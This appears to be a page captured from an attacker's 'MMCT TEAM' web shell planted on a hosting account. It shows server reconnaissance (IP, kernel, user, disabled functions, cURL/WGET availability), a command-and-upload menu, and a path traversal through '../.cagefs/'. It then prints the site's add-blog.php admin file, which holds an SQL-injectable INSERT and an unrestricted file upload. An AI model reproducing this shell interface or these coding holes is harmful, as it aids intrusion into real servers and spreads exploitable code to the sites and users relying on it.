MMCT TEAM
Server IP : 2a02:4780:11:767:0:2c41:85d9:6  /  Your IP : 216.73.217.25
Web Server : LiteSpeed
System : Linux in-mum-web667.main-hosting.eu 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64
User : u742491609 ( 742491609)
PHP Version : 8.1.34
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u742491609/domains/../.cagefs/../.filebrowser/../public_html/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u742491609/domains/../.cagefs/../.filebrowser/../public_html/admin/add-blog.php
<?php

include('header.php');
if(isset($_POST['submit']))
{
$title = $_POST['title'];
$subtitle = $_POST['sub_title'];
$shortdesc = $_POST['short_description'];
$description = $_POST['description'];
$description =  htmlspecialchars($description);
$postedate = date("m/d/Y", strtotime($_POST['date']));

$image = $_FILES['image']['name'];
$target = "blog/".basename($image);
$file_upload=move_uploaded_file($_FILES['image']['tmp_name'], $target);
$result=mysqli_query($con,"INSERT INTO `blog`(`title`, `sub_title`, `short_desc`, `desciption`, `image`, `date` ) VALUES ('$title','$subtitle','$shortdesc','$description','$target','$postedate')");
if($result)
{
    echo "<script>
                   alert('Blog Added Successfully');
                   window.location.href='blog.php';
             </script>";
    
}
}
?>

                   
  <div class="main-content-inner">
                <div class="row">                  
                      
                      
                   
        <div class="col-md-12 col-md-offset-1">
            <div class="panel panel-default">
                <div class="panel-heading">
                    <h3 class="panel-title">Add Blog</h3>
                </div>
                <div class="panel-body">
                              <form  method="post" action="" enctype="multipart/form-data">
            <!-- Field 1 -->
            <label>Blog Title </label>
            <div class="input-text form-group">
              <input type="text" name="title" class="input-name form-control" placeholder="Title">
            </div>
            <!-- Field 2 -->
            <label>Blog Subtitle</label>
            <div class="input-email form-group">
              <input type="text" name="sub_title" class="input-email form-control" placeholder="Sub Title">
            </div>
            <!-- Field 3 -->
            <label>Short Description</label>
            <!-- Field 4 -->
            <div class="textarea-message form-group">
              <textarea name="short_description" class="textarea-message form-control" placeholder="Short Description" rows="8"></textarea>
            </div>
            <label>Description</label>
            <!-- Field 4 -->
            <div class="textarea-message form-group">
              <textarea name="description"  class="textarea-message form-control" rows="8"></textarea>
            </div>
             <label>Blog Image</label>
            <div class="input-email form-group">
              <input type="file" name="image" class="input-phone form-control" >
            </div>
            <label>Posted Date</label>
            <div class="input-email form-group">
              <input type="date" name="date" class="input-phone form-control" >
            </div>
            <!-- Button -->
            <input class="btn btn-lg btn-success btn-block" name="submit" type="submit" value="Submit">
                  
          </form>
      <script>
                        CKEDITOR.replace( 'description' );
                </script>                   
                </div>
            </div>
        </div>
    </div>
</div>
            
                      
                        <!-- /.section -->
                    </div>
                    <!-- /.main-page -->

                    
                    <!-- /.right-sidebar -->

                </div>
                <!-- /.content-container -->
            </div>
            <!-- /.content-wrapper -->

        </div>
        <!-- /.main-wrapper -->
<?php

include('footer.php');

?>

MMCT - 2023